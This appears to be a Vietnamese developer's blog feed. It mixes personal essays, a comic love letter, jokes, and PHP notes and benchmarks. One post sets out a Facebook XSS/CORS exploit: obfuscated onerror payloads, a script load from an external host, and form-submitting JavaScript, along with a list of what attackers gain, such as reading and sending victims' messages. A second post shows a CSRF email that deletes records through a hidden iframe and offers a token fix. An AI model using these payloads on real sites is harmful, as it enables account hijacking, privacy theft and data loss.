canhnm's note

JSDIS

noreply@blogger.com (canhnm) — Sun, 13 Nov 2011 08:35:00 +0000

A javascript library to store data in key-value method in browser's localStorage with functions like redis!

Release: https://github.com/canhnm/jsdis

Thư tình thế kỷ 22

noreply@blogger.com (canhnm) — Sat, 27 Nov 2010 11:23:00 +0000

Anh ngồi bấu tay vào thành giường nhìn ra ngoài trời. Hình như mưa. Mắt anh mấy ngày nay thấy nắng loà nhoà lại tưởng mưa, thấy mưa thì nhìn như đang nắng xuống. Thằng chắt nội nói, mắt cụ nhìn không rõ nữa, cụ đi đâu để cháu dắt. Nó nói thật em nhỉ, nhưng mình cần gì nó dắt, ví thử có em đến ngoài ngõ kia, anh chẳng nhìn thấy rõ mồn một.

Anh vẫn khoẻ. Mỗi ngày các cháu nó cho ăn năm bữa, mỗi bữa một bát cháo đã nát nhừ. Anh chỉ dám viết thư cho em mà không dám gọi điện vì tiếng của anh nói em chỉ có thể nghe như tiếng rừng phi lao xào xạc.

Sáng nào anh cũng đi thể dục, đi từ mép giường ra tới bậc cửa sổ, vị chi là bốn bước. Bốn bước mà đi mất hai giờ, mồ hôi đổ vã ra, sảng khoái ghê!

Nay con cháu đông rồi, anh không phải đánh máy như ngày xửa ngày xưa nữa, các cháu giúp ông. Nhưng khi viết thư cho em, anh phải tự đánh máy lấy. Thư này anh viết từ mùa hè, giữa hè, đến đúng mùa đông thì xong, mỗi ngày anh viết quần quật được hai dòng. Ngày nào viết đến ba dòng thì phải truyền một lọ đạm.

Nhớ cách đây chừng 50 năm em nhỉ, chúng mình chạy ào ào trên bãi biển. Em thì lúc nào cũng hét lên: Thích quá cơ. Còn anh thì chạy theo sau nhìn em, thấy đôi chân em trắng loáng trong ánh chiều hoàng hôn ở bãi biển mà nhớ mãi. Giờ vẫn nhớ đấy. Hôm rồi, nhớ em quá bảo đứa cháu nó đưa ra biển. Đinh nhấc chân bước, định hổn hển nhắc lại lời em nói, thích quá cơ, nhưng suýt nữa người anh đổ chúi xuống vì gió biển thổi.

Nhận được tin em đã hết ốm, đã ăn được mỗi bữa năm thìa cháo bột mà mừng quá. Ăn năm thìa là tốt rồi, ăn nhiều quá không nên em ạ. Anh khoẻ thế này mà chỉ ăn bốn thìa thôi là thấy no căng. Nhớ ngày xửa ngày xưa vẫn thích ăn cơm nguội với nước cá kho. Vừa rồi, tự dưng thèm cơm nguội cá kho, ăn một chút thôi mà miệng anh như ăn phải đá hộc, đau tê tái.

Anh nhắc nhé, nếu ngoài trời có gió là em không được ra ngoài. Hôm qua, mấy đứa cháu bảo ông ơi, ra sân hóng mát, gió nồm mát lắm ông ạ. Theo chân nó vừa ra tới sân, ngọn gió nồm suýt thổi anh bay lên nóc nhà, may có hai thằng cháu giữ chặt.

Sắp tới ngày sinh nhật em nhỉ. Thế là em đã tròn tuổi 80. Hôm đó anh sẽ cố gắng điện thoại. Nhưng anh nói trước, nếu em nghe tiếng xào xào tức là anh nói rằng em đấy hả. Khi nghe tiếng thùm thùm tức là anh đang chúc em sinh nhật vui vẻ. Đến khi nghe tiếng phù phù nhiều lần là anh đang hôn em.

Nhớ hồi ấy, anh đưa hai tay lên nhấc bổng em quay mấy vòng giữa trời, em cười rất to. Giờ anh nhìn lại đôi tay mình, hình như tay ai, nhìn rất tội. Hôm qua anh cố nhấc con búp bê bé tý lên cao mà nghe tiếng xương cốt kêu răng rắc, sợ quá nên thôi.

Em ngủ ngon không?

Anh chợp mắt từ chập tối. đến khoảng 9 giờ là dậy, ngồi, nhìn ra trời đêm. Mấy đứa cháu nói ông ngủ ít quá. Anh bảo, thì đến khi ông ra đi, xuống đất, ông ngủ cả ngày lo gì.

Thỉnh thoảng, anh vẫn mở máy tính, xem lại mấy bài viết trên blog hồi ấy, thấy rất vui. Chắc giờ mấy ông, mấy bà blogger cũng không còn mấy ai nữa, lâu chẳng thấy ai vào blog nữa. Lũ cháu hỏi, ông ơi, blog là gì. Chúng nó bây giờ chẳng có blog. Ngồi bô đi ị mà vẫn có màn hình máy tính ở miệng bô, thích thật. Thời buổi giờ hiện đại quá, mình chẳng biết gì. Nhà anh, có cái máy giặt, con cháu nó đi làm, điều khiển từ xa, điều khiển cả rôbốt. Anh ngồi, rôbốt nó đến, nó cởi áo anh ra, nó gội đầu cho anh, tắm táp, rồi còn mang áo quần đi giặt. Lũ trẻ bây giờ yêu nhau cũng nhờ rôbốt làm hộ. Máy chữ không cần đánh, muốn viết gì, chỉ cần đọc là máy tính tự gõ chữ. Nhưng tiếng anh phì phèo quá nên máy chữ nó đánh sai hết cả. Ai đời anh viết, em ơi, anh nhớ em lắm nhưng vì miệng anh móm mém phì phò nên máy nó nghe không rõ, nó đánh thành: Phem phơi, phanh phớ phem phắm. Thế mới bực!

Anh không muốn gọi em là bà. Cứ gọi nhau bằng anh, bằng em thế nghe ngọt ngào. Hai ngày nữa anh tròn 90 tuổi. Anh đợi thư em.

Mà nếu không gửi được thư thì bảo rôbốt nó mang thư đến cho anh em nhé.

Anh dừng bút.

Thắng chắt nội đang mang chén cháo bột đến để cho anh ăn.

Chúc em ngủ ngon nhé. Nhớ đừng ra gió.

S/T

Hấp diêm người dùng f*ckbook

noreply@blogger.com (canhnm) — Wed, 24 Nov 2010 14:05:00 +0000

Có thể tham khảo thêm 1 số article tôi collect lại về Crossite Request Forgery để hiểu rõ bản chất của cách tấn công này :-)

Trong bài viết (Hacking Facebook with HTML5- tạm đọc: Làm dư lào để ấy người sử dụng f*ckbook) của mình trên blog matt đã cho thấy ngoài những features đáng giá mà html5 hứa hẹn cho các lập trình viên thì nó cũng tiềm tàng 1 mối nguy hiểm không kém phần hứa hẹn :)), giúp cho các thanh niên đọc hack là hắc hoàn thành giấc mơ có thể ưỡn ngực tự xưng iem nà hắc cơ :|

2 điểm cốt yếu là HTTP access control hoặc Cross-Origin Resource Sharing. 2 thứ này cho phép trình duyệt tạo ajax request cross domain (thực ra hiện tại cũng có thể dùng tricks để thực hiện request cross domain được rầu, không nhất thiết phải chờ đến HTML5)

Exploit :

Điểm chính là 1 code php để chèn thêm 1 vài headers nhằm qua mặt thằng phờ bờ :-"

< ?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');

// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');

// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');

// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
Đoạn code sau cần load ở payload :

< tab="home_menu" id="feed_tabbox" 0nreplace="fb.updateCurrentPage()">
< !mg style="d!splay:none" src="x" 0nerror="al3rt('xss')" />

Chú ý cái đoạn onerror nhá, thằng blogger của ông google cũng dính chưởng á =))

Giờ thì cứ đàng hoàng mà load extend script vào để chơi với nạn nhân thôi :-"

0nerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"

Với tình trạng hiện giờ của anh Phắc Búc này thì cứ điềm nhiên mà load 1 iframe với bất cứ cái gì mà bạn thích vào :

< src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none">

Rầu giờ thì bạn có thể làm gì với nạn nhân??? điểm mặt quan trọng nà

* Biết được nạn nhân là ai
* Xem các ảnh
* Đọc tin nhắn
* Đọc tin nhắn đã gửi
* Gửi tin nhắn ( :-o đù chứ cái này mà lợi dụng lừa đảo thì ối thằng vỡ mồm )
* Đọc được cơ số các thông tin mật khác (e-mail, phone, bạn bè)
* Thêm bạn (add friends)
* Đăng comments
chú ý là các phần trên này là cũng đếu cần được người sử dụng kia cho phép nhá, chứ được cho rồi thì cần mẹ gì :-j

Với ngần trên thứ có vẻ vẫn chưa làm hài lòng với 1 cơ số người. Ok, take some change :
Sử dụng "document.domain"bởi vì thằng "http://touch.facebook.com" là con giai thằng facebook.com mà :D, do vậy bạn hoàn toàn có thể define cái này há.
document.domain = 'facebook.com'

Giờ thì có thể trực tiếp đối đáp với ông f*ckbook rồi.

uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}

// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');

tempIFrame.setAttribute('id','RSIFrame');

// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);

//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];

new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_" uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();

}

// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id=' app_id

Trình duyệt phía nạn nhân sẽ thực hiện cho bạn, ajax load payload và ta sử dụng DOM để load iframe vào nhằm thực hiện ý đồ đen tối :-"

Lưu ý :
+ Đối với các thanh niên thích linh tinh :Mềnh không chịu trách nhiệm với bất cứ trường hợp bạn nào ngâm sâu hơn cái này để phang phập linh tinh người sử dụng f*ckbook đâu nhá :"> mềnh chỉ tóm gọn lại hộ thôi =))
+ Đối với người sử dụng f*ckbook: Có bị làm sao với cái f*ckbook thì xin chúc mừng =))

Hết ạ!!!

Lại là IE

noreply@blogger.com (canhnm) — Fri, 26 Feb 2010 02:47:00 +0000

Firefox

Array
(
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpB07.tmp
[error] => 0
[size] => 14618

)

IE 8

Array
(
[name] => 7687.png
[type] => image/x-png
[tmp_name] => D:\xampp\tmp\phpA7E.tmp
[error] => 0
[size] => 14618
)

IE6

Array (
[name] => 7687.png
[type] => image/x-png
[tmp_name] => D:\xampp\tmp\phpB05.tmp
[error] => 0 [size] => 14618
)

Chrome

Array (
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpA81.tmp
[error] => 0 [size] => 14618
)

Opera

Array (
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpAE7.tmp
[error] => 0 [size] => 14618
)

Safari

Array
(
[name] => 7687.png
[type] => image/png
[tmp_name] => D:\xampp\tmp\phpB11.tmp
[error] => 0 [size] => 14618
)

So sánh mấy mảng trả về từ form upload cái ảnh png, ông IE nhà ta chơi 1 mình một MIME =)) check vỡ mẹt :|

openmoko & android

noreply@blogger.com (canhnm) — Tue, 23 Feb 2010 03:45:00 +0000

Hí hí bé nài có nhiều cái để vọc đây.
Hiện giờ bé đang run on android.

Không lẽ cài mấy cái OS base on Debian lên để vọc nữa :-j

Già

noreply@blogger.com (canhnm) — Tue, 19 Jan 2010 15:18:00 +0000

Già là chị gái của ông ngoại,năm nay già 90 tuổi. Ký ức của mình về ông ngoại không nhiều, chỉ còn nhớ mang máng được bố cho vào bệnh viên thăm ông đang phải cắt chân từ đầu gối xuống vì bị hoại tử. Ông tham gia kháng chiến chống pháp bị bắt và tra tấn hỏng chân. Ông mất từ khi mình còn nhỏ.

Hồi trẻ già cũng đã lấy chồng, có được 1 mụn con, nhưng bác chỉ sống được đến tháng thứ 7. Rồi chồng già lên Phú Thọ làm thuê nhưng già không theo, già nói nhà chỉ có 2 chị em nếu già đi thì không ai ở nhà hương khói tổ tiên. Vậy là già ở nhà 1 mình, cũng không ở với em trai, già ở trong căn nhà nhỏ, xung quanh cây cối xanh um. Hồi nhỏ về quê mình thích ra vườn nhà già vì có nhiều loại quả để hái.

Già với bà ngoại không hợp nhau, nhưng già vẫn sống vậy, không đi bước nữa. Già vẫn đội 1 cái khăn trắng, để chờ chồng. Hồi bà ngoại mất già mắt đỏ hoe, già còn sức nữa đâu mà khóc, không nói nhưng ai cũng biết già không để bụng chuyện chị chồng em dâu.
Trong nhà già vẫn thấy treo bức ảnh mà nhìn không rõ là ai. Sau mới biết đấy là chồng già.

Năm ngoái già yếu quá tưởng mất, báo tin cho con riêng của chồng già ở Phú Thọ lên đông lắm. Năm nay mình lên già vẫn béo tốt, ăn được khá nhiều. Chỉ có điều già lẫn quá, vào đến cửa già thấy bóng người hỏi, vừa nói tên xong, nói chuyện với già được vài câu già lại hỏi ai thế?. Các con cháu cho tiền già cất hết dưới gối, già bảo để có lễ tết thì già đưa cho cậu mua đồ.
Lúc về già vẫn như ngày xưa, hỏi thăm đi lại thế nào. Hồi nhỏ mỗi lần ra nhà già lại thấy già còng còng ra sau vườn vặt quả cho mình. Nhiều lần về chơi lâu lâu, mỗi khi đi già lại khóc
Người lớn trong nhà ai cũng bảo già khó tính vì sống 1 mình, nhưng các cháu ra chơi già rất quý.
Giờ già yếu quá, không đi lại được nữa, chỉ nằm 1 chỗ.
Không biết đến lúc nào...

Năm mới.

noreply@blogger.com (canhnm) — Sun, 10 Jan 2010 08:05:00 +0000

Năm mới cũng lâu rồi mà giờ mới có thời gian ngồi viết mấy dòng để nhìn lại 2009.
So với 2008 thì 2009 cũng có gọi là thay đổi, thay đổi nơi làm việc. Thay đổi cách làm việc. Thay đổi cách nghĩ. Thay đổi nhiều đấy chứ ???

Đôi khi vẫn giật mình nhớ lại những khi đi trên đường nhưng đầu thì nghĩ về thứ gì đó đâu đâu, kim chỉ km vọt lên 70-80km/h mà lại thấy thích thú, cái cảm giác gió tạt vào mặt, dường như lúc đó mình quên được mọi thứ, bỏ lại đằng sau tất cả.

Thi thoảng vẫn có người hỏi sao trước theo xây dựng mà giờ lại làm nghề này, f*ck!
Ai biết cũng nói mình dại, rồi lại hỏi có tiếc không?
- Tiếc à, tất nhiên là tiếc, miếng ngon thế kia cơ mà, leo lên cao cũng đâu có khó, cơ hội phải nói là không phải ai cũng có sẵn như thế cơ mà, đéo ai chả biết cái ghế dựa đấy nó to lắm. Nếu ai cũng biết được cái ô đấy của mình thì còn chửi mình ngu cũng nên :)).
Nhưng tiếc không có nghĩa là lúc nào nó cũng canh cánh trong lòng, không có nghĩa là mình "hối". Mình đéo quen làm theo sự sắp đặt cho dù là nó tốt cho mình !
- Dại, đúng là dại, lý do thì to đùng ở trên đấy. Nhưng, lại phải nói lại, đéo ai bắt được mình làm cái gì khi mình không thích!

2006 cũng thời gian này, quyết định rẽ khỏi cái hướng đó, mặc.

Còn nhiều dự định quá, nhưng lấy đâu ra điều kiện để làm hết dự định ???

Mỗi lúc nghe lại Mama said lại thấy sao nó thấm thía thế

Mama, now I'm coming home
I'm not all you wished of me

Cô bé bán diêm

noreply@blogger.com (canhnm) — Thu, 10 Dec 2009 02:59:00 +0000

Thiên đường phải chăng là địa ngục ...

isset() và empty ()

noreply@blogger.com (canhnm) — Wed, 28 Oct 2009 01:57:00 +0000

Hôm nay thấy cái mail của toppic 1 bợn trong Professonal-PHP nói về vụ phân biệt 2 cái này, sực nhớ đôi lúc cũng hơi khựng chút với cái mớ type comparison :">. Tiện chép về sau còn dễ nhớ :

**Comparisons of `$x` with PHP functions**
Expression	gettype()	empty()	is_null()	isset()	boolean : if($x)
$x = "";	string	`TRUE`	`FALSE`	`TRUE`	`FALSE`
$x = null	NULL	`TRUE`	`TRUE`	`FALSE`	`FALSE`
var $x;	NULL	`TRUE`	`TRUE`	`FALSE`	`FALSE`
`$x` is undefined	NULL	`TRUE`	`TRUE`	`FALSE`	`FALSE`
$x = array();	array	`TRUE`	`FALSE`	`TRUE`	`FALSE`
$x = false;	boolean	`TRUE`	`FALSE`	`TRUE`	`FALSE`
$x = true;	boolean	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = 1;	integer	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = 42;	integer	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = 0;	integer	`TRUE`	`FALSE`	`TRUE`	`FALSE`
$x = -1;	integer	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = "1";	string	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = "0";	string	`TRUE`	`FALSE`	`TRUE`	`FALSE`
$x = "-1";	string	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = "php";	string	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = "true";	string	`FALSE`	`FALSE`	`TRUE`	`TRUE`
$x = "false";	string	`FALSE`	`FALSE`	`TRUE`	`TRUE`

**Loose comparisons with ==**
	`TRUE`	`FALSE`	1	0	-1	"1"	"0"	"-1"	`NULL`	array()	"php"	""
`TRUE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`
`FALSE`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`TRUE`	`FALSE`	`TRUE`
1	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
0	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`TRUE`
-1	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"1"	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"0"	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"-1"	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
`NULL`	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`TRUE`	`FALSE`	`TRUE`
array()	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`TRUE`	`FALSE`	`FALSE`
"php"	`TRUE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`
""	`FALSE`	`TRUE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`TRUE`

Strict comparisons with *===*
	`TRUE`	`FALSE`	1	0	-1	"1"	"0"	"-1"	`NULL`	array()	"php"	""
`TRUE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
1	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
0	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
-1	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"1"	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"0"	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
"-1"	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`
`NULL`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`	`FALSE`
array()	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`	`FALSE`
"php"	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`	`FALSE`
""	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`FALSE`	`TRUE`

PHP security video

noreply@blogger.com (canhnm) — Tue, 18 Aug 2009 04:59:00 +0000

This Tutorial covers Cross Site Scripting (XSS), Cross Site Forgery Requests (CSFR), SQL Injection, globals, and much more!

Basic Cross-site request forgery

noreply@blogger.com (canhnm) — Thu, 13 Aug 2009 03:39:00 +0000

Now, I'm woking with a new framework. It's a new one, so that I think it's not secured.
Assume that I'm a customer and after use this source code, if I find out any bug... what will happen if I want to be a 'bad man' not 'bat man' :))

After analyze I have an action in administrator panel.
Example, when working with customer module:

"http://our_local_server/administrator/index.php?module=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc"

Consider the bold text :

When I call this url, system will 'delete' all the item include in condition value %27 means ' label (0,'6'). The result is the item with id=6 will be deleted from database.

Ok, now I compose an email html like :

<@body>
You won $1,000,000

<@iframe src="http://our_local_server/administrator/index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc" width="0" height="0">
<@/body>

Will you read it???
I wont. But it's only example ^^.
Send it to the administrator of site when him/her logged in.
I dont need to login or something else with this system.
The administrator will do it for me because he/she have authiencation.
Imagine if I call an url in a loop :

for($i=0;$i<=999999;++$i) { //call the action url here }

What will happen :D

Solution: Assign a token value for any action.
Example:

index.php?page=loadajax&action=deleteall&table=user&fprimary=id&cond=0,%276%27&fname=etc&token=10d3612ccee6f20d650288855624f9ad

And check this token before execute any action.

Lazy Loading to improve performance of your php code

noreply@blogger.com (canhnm) — Tue, 11 Aug 2009 03:28:00 +0000

See above example code, or event you do like that :D :

<?php
require '/class/Database.php';
require '/class/Common.php';
require '/class/Action.php';
require '/class/Template.php';
require '/class/Module.php';

?>

It's not good for server because php engine must load every file when execute, in case of it's not necessary.

<?php
define('CLASS_DIR', 'class/')
set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);
spl_autoload_extensions('.class.php');
spl_autoload_register();

function autoload($className)
{
include_once($className);
}

$user = new user();
?>

This message is quoted from "zend certification study guide" :">
"By default, SPL uses its own autoloader, called spl_autoload(); this built-in
function checks all include paths for ﬁlenames that match the name of the class
that needs loading in lowercase letters, followed by .inc, .php, or the exten-
sions speciﬁed using a comma-separated string as the only parameter to a call to
spl_autoload_extensions()"

Regard to function spl_autoload_extensions(), it allow you to define extension of filename.

Betta

noreply@blogger.com (canhnm) — Sat, 08 Aug 2009 09:54:00 +0000

Nhớ hồi nhỏ, cách đây tầm 12 năm còn đang học cấp 2.
Lúc đó trò chơi không nhiều như bây giờ, thú chơi mình thích nhất là chăm chút cho lũ betta.
La liệt lọ chai trong nhà, rồi mỗi lần đi bắt trùn nước cho nó măm.
Rồi đến khi ấp trứng, betta con như cái đầu kim, căng mắt mới thấy chúng.

Hôm nay lượn ngoài đường đi qua hàng cá, tự dưng giật mình khi chợt nghĩ đến thú vui ngày xưa. Rẽ vào rước về 1 em dư lày :D

Thằng ku của mình màu mè y hệt, chỉ có cái đuôi chưa dài bằng. Có gắng chăm em nó cho bộ đuôi dài được như này thì :X :X :X

Được cái chọn lựa khá kĩ nên được em khá dạn người, thò tay vào trêu ẻm mà đếch có sợ, cứ ung dung đớp mồi còn tay chân gì nó mặc :|

Hôm nào rảnh phải đi kiếm mấy em Zồng halfmoon mới được, nhìn yêu lắm rồi =p~

Nhưng mà loại này nuôi ngắm thôi chứ giờ không cho tụi nó oánh nhau như hồi xưa nữa, tiếc cái đuôi tụi nó lắm. Chăm đến bao giờ mới dài và mượt được vậy :(

Để oánh nhau thì đi lượm mấy em copper, lavender với lại zồng... :D
Đuôi ngắn, thân dày vạm vỡ, mồm miệng to dày, hơn nữa trông tướng nó gấu quá :|

Demo phát fighting bọn này oánh tợn hơn cá của miền =))

Solo o_0

noreply@blogger.com (canhnm) — Mon, 03 Aug 2009 13:08:00 +0000

Lâu lâu mới nghe lại GODFATHER anh Slash solo :x 0_o

Metallica feat Britney spear

noreply@blogger.com (canhnm) — Sun, 02 Aug 2009 08:59:00 +0000

Crazy : So what

Khó đỡ quá =))

Seasons In The Sun

noreply@blogger.com (canhnm) — Sat, 01 Aug 2009 10:52:00 +0000

Anh Kurt hét seasons in the sun có chỗ quên lyric =)) =))

Trí thông minh

noreply@blogger.com (canhnm) — Fri, 31 Jul 2009 07:54:00 +0000

Một cô tóc vàng hoe ngồi cạnh một luật sư trên máy bay. Mới nhìn thấy mái tóc của cô ta, vị luật sư đã tỏ ra khinh thường. Ông ta rủ cô gái chơi trò thử trí thông minh.

Hai người thỏa thuận sẽ đố nhau 10 câu. Nếu cô tóc vàng không trả lời được một câu, cô sẽ phải trả 5 đôla. Còn nếu vị luật sư thua, ông ta sẽ phải bỏ ra 50 đô. Vị luật sư đồng ý vì biết chắc rằng ông ta không thể thua.

Người tự cho là thông minh hỏi trước: -Khoảng cách giữa trái đất và hành tinh gần nhất là bao nhiêu?.

Chẳng nói một lời, cô tóc vàng rút ví trả ngay 5 đô, rồi hỏi: -Cái gì leo lên đồi bằng 3 chân, nhưng xuống đồi bằng 4 chân?.

Vị luật sư ngồi nghĩ mãi, nghĩ mãi, hết tra máy tính rồi lại gọi điện nhờ tư vấn, nhưng vẫn chẳng tìm ra câu trả lời. Cuối cùng, giận dữ và thất vọng, ông ta rút ra 50 đô đưa cho đối thủ.

Cô tóc vàng chẳng nói chẳng rằng đút ngay tiền vào túi. Kẻ thua cuộc nài nỉ: -Cô cho tôi biết đáp án đi nào!.

Lập tức, cô gái lại lấy ra 5 đô trả cho vị luật sư.

Từ PHP không được sử dụng trong sản phẩm viết bằng PHP

noreply@blogger.com (canhnm) — Thu, 30 Jul 2009 02:50:00 +0000

Tháng này bận quá, đến giờ mới rảnh rảnh ngồi coi cái PHP License version 3.01 tại http://www.php.net/license/3_01.txt.
Trong đó, mục 4 có ghi :

  4. Products derived from this software may not be called "PHP", nor
 may "PHP" appear in their name, without prior written permission
 from group@php.net.  You may indicate that your software works in
 conjunction with PHP by saying "Foo for PHP" instead of calling
 it "PHP Foo" or "phpfoo"

Sản phẩm không được đặt tên là "PHP" hoặc không có từ PHP xuất hiện trong tên.
Vậy là phpmyadmin, phpcake, phpbb... :|, đồng loạt đi xin permission hết zồi :-j

PHP Benchmark tests

noreply@blogger.com (canhnm) — Thu, 30 Jul 2009 02:30:00 +0000

PHP Benchmark tests

This article is taken from php.lt

NOTE

You must keep in mind to refresh this page a few times to "catch" the right result. The numbers change sometimes drastically during each refresh. I assume that this is because of PHP's memory garbage collector that drops in randomly and also other processes that run on this machine have an influence.

Test: READ LOOP: foreach() vs. while(list()=each())
What is the best way to loop a hash array? Given is a Hash array with 100 elements, 24byte key and 10k data per entry I've chosen the large data amount to try out what happens if I reference the data with the &-ref-operator (to avoid copying). But to my surprise the loops are never faster! In tests 5 and 6 are even 10x - 30x slower !! The larger the data entrys are the slower the tests 5 and 6 get! Copying seams always faster then using the &-ref-operator. Way ??? Let me know at bs_php@users.sourceforge.net
+ 411 %	1: foreach($aHash as $val);	Total time: 6[ms]
+ 196 %	2: while(list(,$val) = each($aHash));	Total time: 3[ms]
+ 901 %	3: foreach($aHash as $key=>$val);	Total time: 14[ms]
+ 938 %	4: while(list($key,$val)= each($aHash));	Total time: 15[ms]
+ 625 %	5: foreach($aHash as $key=>$val) $tmp[] = &$aHash[$key];	Total time: 10[ms]
+ 598 %	6: while(list($key) = each($aHash)) $tmp[]=&$aHash[$key];	Total time: 9[ms]
+ 200 %	7: Get key-/ value-array: foreach($aHash as $key[]=>$val[]);	Total time: 3[ms]
+ 100 %	8: Get key-/ value-array: array_keys() / array_values()	Total time: 2[ms]
+ 148 %	9: STRANGE: This is the fasetest code when using the the &-ref-operator (to avoid copying) $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $tmp[] = &$aHash[$key[$i]];	Total time: 2[ms]
Conclusion: It must have something to do with PHP4 variable ref-count So you can safely use foreach and only use the &-ref-operator when realy needed OR (according to the link above) when passing objects to functions. (Thanx to Wayne for his help)

Test: MODIFY LOOP: foreach() vs. while(list()=each())
While the above test only reads and copies the data the question arised what would happen if I modify each value of the hash above. Again I an unexpected result. Even if I reduce the data size to 100 byte p. e. it ends up that Nr.3 is 1.5 - 2x faster.
+ 602 %	1: foreach($aHash as $key=>$val) $aHash[$key] .= "a";	Total time: 14[ms]
+ 134 %	2: while(list($key) = each($aHash)) $aHash[$key] .= "a";	Total time: 3[ms]
+ 100 %	3: STRANGE: This is the fasetest code : $key = array_keys($aHash); $size = sizeOf($key); for ($i=0; $i<$size; $i++) $aHash[$key[$i]] .= "a";	Total time: 2[ms]
Conclusion: Use foreach unless the hash is lage AND has lage data elements. In that case use variation Nr.3 .

Test: For-loop test
Is it worth the effort to calculate the length of the loop in advance? E.g. "for ($i=0; $i<$size; $i++)" instead of "for ($i=0; $i
+ 100 %	1: With pre calc	Total time: 3[ms]
+ 1021 %	2: Without pre calc	Total time: 35[ms]
Conclusion: The test above speeks for it self. Always calculate the length of the loop in advance!

Test: Using the &-ref-operator as so called "alias"
